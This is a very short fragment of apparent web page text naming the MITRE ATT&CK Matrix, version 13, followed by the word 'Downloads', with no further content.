MITRE ATT&CK Matrix ATT&CK v13

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Downloads